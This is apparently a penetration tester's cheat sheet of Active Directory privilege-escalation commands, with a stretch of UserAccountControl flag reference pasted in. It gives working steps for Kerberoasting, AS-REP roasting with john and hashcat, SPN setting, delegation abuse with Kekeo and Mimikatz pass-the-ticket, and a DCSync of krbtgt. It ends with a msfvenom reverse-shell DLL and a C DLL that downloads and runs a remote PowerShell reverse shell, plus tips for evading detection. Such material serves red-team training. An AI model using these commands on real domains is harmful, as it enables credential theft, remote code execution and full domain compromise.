PRIV ESC

USEFULL OBJECT PERMISSION

SERVICE SILVER TICKET

TARGETING AN ADMIN WITH SMART CARD OTP

:information_source: The reason behind it is that a TGT ticket presents a “post-authentication user session”, so we’re already authenticated as a 2-FA token, and there’s no way to identify that the TGT was reused by a malicious actor. As long as the TGT hasn’t expired, the ticket will stay valid.

WELL-KNOWN SECURITY IDENTIFIERS. (S-1-5-21domain)

Get-NetUser -SPN
Get-NetUser -SPN | Format-List name,distinguishedName,servicePrincipalName
#
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Request-SPNTicket
#
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/lab-mgmt.domain.local"

klist

Invoke-Mimikatz -Command '"kerberos::list /export"'

python.exe .\tgsrepcrack.py .\password.list .\2-40a10000-jane@MSSQLSvc~lab-mgmt.domain.local-DOMAIN.LOCAL.kirbi

KERBEROASTING

Main objective: If a user's UserAccountControl settings have "Do not require Kerberos preauthentication" enabled i.e. Kerberos preauth is disabled, it is possible to grab user's crackable AS-REP and brute-force it offline

:information_source: With sufficient rights (GenericWrite or GenericAll), Kerberos preauth can be forced disabled

• Find user accounts with Kerberos Preauth disabled (Using PowerView dev)

  Get-DomainUser -PreauthNotRequired -Verbose
  #
  Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
  

• Find user accounts and force Preauth to disabled, enumerate the permissions for RDPUsers on ACLs using PowerView (dev)

  Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
  # 4194304 -> Value in decimal for DONT_REQ_PREAUTH
  Set-DomainObject -Identity controleduser -XOR @{useraccountcontrol=4194304} -Verbose
  Get-DomainUser -PreauthNotRequired -Verbose
  #
  Get-DomainUser -PreauthNotRequired -Identity controleduser
  

You can view and edit these attributes by using either the Ldp.exe tool or the Adsiedit.msc snap-in.

The following table lists possible flags that you can assign. You cannot set some of the values on a user or computer object because these values can be set or reset only by the directory service. Note that Ldp.exe shows the values in hexadecimal. Adsiedit.msc displays the values in decimal. The flags are cumulative. To disable a user's account, set the UserAccountControl attribute to 0x0202 (0x002 + 0x0200). In decimal, this is 514 (2 + 512).

Note You can directly edit Active Directory in both Ldp.exe and Adsiedit.msc. Only experienced administrators should use these tools to edit Active Directory. Both tools are available after you install the Support tools from your original Windows installation media. | Property flag | Value in hexadecimal | Value in decimal | |--- |--- |--- | | SCRIPT
The logon script will be run. | 0x0001 | 1 | ACCOUNTDISABLE
The user account is disabled. | 0x0002 | 2 | HOMEDIR_REQUIRED
The home folder is required. | 0x0008 | 8 | LOCKOUT | 0x0010 | 16 | PASSWD_NOTREQD
No password is required. | 0x0020 | 32 | PASSWD_CANT_CHANGE
The user cannot change the password. This is a permission on the user's object. | 0x0040 | 64 | ENCRYPTED_TEXT_PWD_ALLOWED
The user can send an encrypted password. | 0x0080 | 128 | TEMP_DUPLICATE_ACCOUNT
This is an account for users whose primary account is in another domain. This account provides user access to this domain, but not to any domain that trusts this domain. This is sometimes referred to as a local user account. | 0x0100 | 256 | NORMAL_ACCOUNT
This is a default account type that represents a typical user. | 0x0200 | 512 | INTERDOMAIN_TRUST_ACCOUNT
This is a permit to trust an account for a system domain that trusts other domains. | 0x0800 | 2048 | WORKSTATION_TRUST_ACCOUNT
This is a computer account for a computer that is running Microsoft Windows NT 4.0 Workstation, Microsoft Windows NT 4.0 Server, Microsoft Windows 2000 Professional, or Windows 2000 Server and is a member of this domain. | 0x1000 | 4096 | SERVER_TRUST_ACCOUNT
This is a computer account for a domain controller that is a member of this domain. | 0x2000 | 8192 | DONT_EXPIRE_PASSWORD
Represents the password, which should never expire on the account. | 0x10000 | 65536 | MNS_LOGON_ACCOUNT
This is an MNS logon account. | 0x20000 | 131072 | SMARTCARD_REQUIRED
When this flag is set, it forces the user to log on by using a smart card. | 0x40000 | 262144 | TRUSTED_FOR_DELEGATION
When this flag is set, the service account (the user or computer account) under which a service runs is trusted for Kerberos delegation. Any such service can impersonate a client requesting the service. To enable a service for Kerberos delegation, you must set this flag on the userAccountControl property of the service account. | 0x80000 | 524288 | NOT_DELEGATED
When this flag is set, the security context of the user is not delegated to a service even if the service account is set as trusted for Kerberos delegation. | 0x100000 | 1048576 | USE_DES_KEY_ONLY
(Windows 2000/Windows Server 2003) Restrict this principal to use only Data Encryption Standard (DES) encryption types for keys. | 0x200000 | 2097152 | DONT_REQ_PREAUTH
(Windows 2000/Windows Server 2003) This account does not require Kerberos pre-authentication for logging on. | 0x400000 | 4194304 | PASSWORD_EXPIRED
(Windows 2000/Windows Server 2003) The user's password has expired. | 0x800000 | 8388608 | TRUSTED_TO_AUTH_FOR_DELEGATION
(Windows 2000/Windows Server 2003) The account is enabled for delegation. This is a security-sensitive setting. Accounts that have this option enabled should be tightly controlled. This setting lets a service that runs under the account assume a client's identity and authenticate as that user to other remote servers on the network. | 0x1000000 | 16777216 | PARTIAL_SECRETS_ACCOUNT
(Windows Server 2008/Windows Server 2008 R2) The account is a read-only domain controller (RODC). This is a security-sensitive setting. Removing this setting from an RODC compromises security on that server. | 0x04000000 | 67108864

These are the default UserAccountControl values for the certain objects: * Typical user : 0x200 (512) * Domain controller : 0x82000 (532480) * Workstation/server: 0x1000 (4096)

• Request encrypted AS-REP for offline brute-force

  Get-ASREPHash -UserName controleduser -Verbose
  

• All users with Kerberos preauth disabled and request a hash

  Invoke-ASREPRoast -Verbose
  

• Check if you can crack with john

  $krb5asrep$controleduser@domain.local:13d55a1f0b1aa3c39a3c5a6815f40ee3$ee68bfe89b0fd40326189cf255a148957bd1d2900cce75fb3f3db56c4086e2d207641a1f5744fd9505ba39d0238b6828b6311eb049d6ee82e8d1deac23f61e252
  ef6aaa7997a3445334280178bb5483f445a0e5156512f9421edfdd2b2dc04a3dddf951c90fbe647f01dd7f14a97a89ab96f89e3acc3cdfd113fa214fe10ee53cc47e99929e9358ba215cd161855d8945e7b2e9dacd4e16a77d53fbaedbb486dfb5a4726ed1d3f395618
  6d1dbbe33b9fe6cd1d19e0993193cebd1f80c3fdfb2265fe7a6b6690d488400a80f272650a4a89dd84a1ce17651c103ae498226ab569e953998e4f1823e18632ede548a4c38923a5cb5ed6d1c49f5edf475f0f5690617dee6f898dfcd52e
  
  john controleduser.txt --wordlist=/usr/share/wordlists/rockyou.txt
  

• Check if you can crack with hashcat, need add $23

  $krb5asrep$23$controleduser@domain.local:13d55a1f0b1aa3c39a3c5a6815f40ee3$ee68bfe89b0fd40326189cf255a148957bd1d2900cce75fb3f3db56c4086e2d207641a1f5744fd9505ba39d0238b6828b6311eb049d6ee82e8d1deac23f61e252
  ef6aaa7997a3445334280178bb5483f445a0e5156512f9421edfdd2b2dc04a3dddf951c90fbe647f01dd7f14a97a89ab96f89e3acc3cdfd113fa214fe10ee53cc47e99929e9358ba215cd161855d8945e7b2e9dacd4e16a77d53fbaedbb486dfb5a4726ed1d3f395618
  6d1dbbe33b9fe6cd1d19e0993193cebd1f80c3fdfb2265fe7a6b6690d488400a80f272650a4a89dd84a1ce17651c103ae498226ab569e953998e4f1823e18632ede548a4c38923a5cb5ed6d1c49f5edf475f0f5690617dee6f898dfcd52e
  
  hashcat -m 18200 controleduser.txt /usr/share/wordlists/rockyou.txt -o cracked
  

SET SPN

With enough rights (GenericAll/GenericWrite), a target user's SPN can be set to anything

• Enumerate the permissions for RDPUsers on ACLs using PowerView (dev)

  Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
  

• Using Powerview (dev), see if the user already has a SPN

  Get-DomainUser -Identity mike | select serviceprincipalname
  Get-ADUser -Identity mike -Properties ServicePrincipalName | select ServicePrincipalName
  

• Set a SPN for the user

  Set-DomainObject -Identity mike -Set @{serviceprincipalname='domain/whatever1'}
  Set-ADUser -Identity mike -ServicePrincipalNames @{Add='domain/whatever1'}
  

• Request a ticket

  Request-SPNTicket
  #
  Add-Type -AssemblyNAme System.IdentityModel
  New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "domain/whatever1"
  

• Check if the ticket has been granted

  klist
  

• Export all tickets using Mimikatz

  Invoke-Mimikatz -Command '"kerberos::list /export"'
  

• Crack the Service account password

  python.exe .\tgsrepcrack.py .\password.list .\2-40a10000-jane@MSSQLSvc~lab-mgmt.domain.local-DOMAIN.LOCAL.kirbi
  

KERBEROS DELEGATION

Main objective: Allows to "reuse the end-user credentials to access resources hosted on a different server"

• Unconstrained Delegation

  Allows delegation to any service to any resource on the domain as a user

  • Discover domain computers which have unconstrained delegation enabled

    Get-NetComputer -UnConstrained
    #
    Get-ADComputer -Filter {TrustedForDelegation -eq $True}
    Get-ADUser -Filter {TrustedForDelegation -eq $True}
    

    • Check if any DA token is available

      Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
      

    • DA token reuse

      Invoke-Mimikatz -Command '"kerberos::ptt C:\path\[0;xxxxxxx]-x-x-x-Administrator@krbtgt-LAB.DOMAIN.LOCAL.kirbi"'
      

  • Constrained Delegation

  Allows access only to specified services on specified computers as a user

  • Enumerate users and computers with constrained delegation enabled PowerView (dev)

    Get-DomainUser -TrustedToAuth
    Get-DomainComputer -TrustedToAuth
    #
    Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
    

    • Using asktgt from Kekeo, we request a TGT

      .\kekeo.exe
      tgt::ask /user:aimavc /domain:lab.domain.local / rc4:00000000000000000000000000000000
      

    • Using s4u from Kekeo, we request a TGS

      tgs::s4u /tgt:TGT_aimsvc@LAB.DOMAIN.LOCAL_krbtgt~lab.domain.local@LAB.domain.LOCAL.kirbi /user:Administrator@lab.domain.local /service:cifs/domain-service.lab.domain.LOCAL
      

    • Inject the ticket

      Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@lab.domain.local@LAB.DOMAIN.LOCAL_cifs~domain-aimsvc.LAB.DOMAIN.LOCAL@LAB.DOMAIN.LOCAL.kirbi"'
      

    • Using asktgt from Kekeo, we request a TGT (MACHINE ACCOUNT)

      .\kekeo.exe
      tgt::ask /user:aimavc$ /domain:lab.domain.local / rc4:00000000000000000000000000000000
      

    • Using s4u from Kekeo (MACHINE ACCOUNT)

      tgs::s4u /tgt:TGT_lab-aimsrv$@LAB.DOMAIN.LOCAL_krbtgt~lab.domain.local@LAB.DOMAIN.LOCAL.kirbi /user:Administrator@lab.domain.local /service:time/dc01.lab.domain.LOCAL|ldap/dc01.lab.domain.LOCAL
      

    • Inject the ticket

      Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@lab.domain.local@LAB.DOMAIN.LOCAL_ldap~domain-aimsvc.LAB.DOMAIN.LOCAL@LAB.DOMAIN.LOCAL.kirbi"'
      

    • DCSync

      Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'
      

DNS ADMIN PE

Main objective : Inject evil DLL and restart DNS service, it is possible to upload the DLL in target server, or you can point the configuration to your SMB share. - Enumerate the members of the DNSAdmis group

Get-NetGroupMember -GroupName "DNSAdmins"
Get-ADGroupMember -Identity DNSAdmins

# dnscmd.exe
dnscmd DC01 /config /serverlevelplugindll \\YOURSMBSRV\SHARE\mimilib.dll
# DNSServer module
$dnsettings = Get-DnsServerSetting -ComputerName DC01 -Verbose -All
$dnsettings.ServerLevelPluginDll = "\\YOURSMBSRV\SHARE\mimilib.dll" Set-DnsServerSetting -InputObject $dnsettings -ComputerName DC01 -Verbose
# CHECK REGISTRY VALUE FOR ServerLevelPluginDll
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
#
sc \\DC01 stop dns
sc \\DC01 stop dns

If you drop a local MSF DLL, you will be spotted

msfvenom -p windows/shell/reverse_tcp LHOST=YourIP LPORT=YourPort -f dll > dns.dll

To avoid any risk of detection about your DLL, it is better to make your own !!!

Use your Kali and cross-compile your DLL to get a NT AUTHORITY\SYSTEM reverse shell.

//dns.c
#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("powershell -c IEX(New-Object Net.Webclient).downloadString('http://10.10.10.10/revshell_FUD.ps1')");
        ExitProcess(0);
    }
    return TRUE;
}

# Compiling a 64bit DLL
x86_64-w64-mingw32-gcc dns.c -shared -o dns.dll
# Compiling a 32bit DLL
i686-w64-mingw32-gcc dns.c -shared -o dns.dll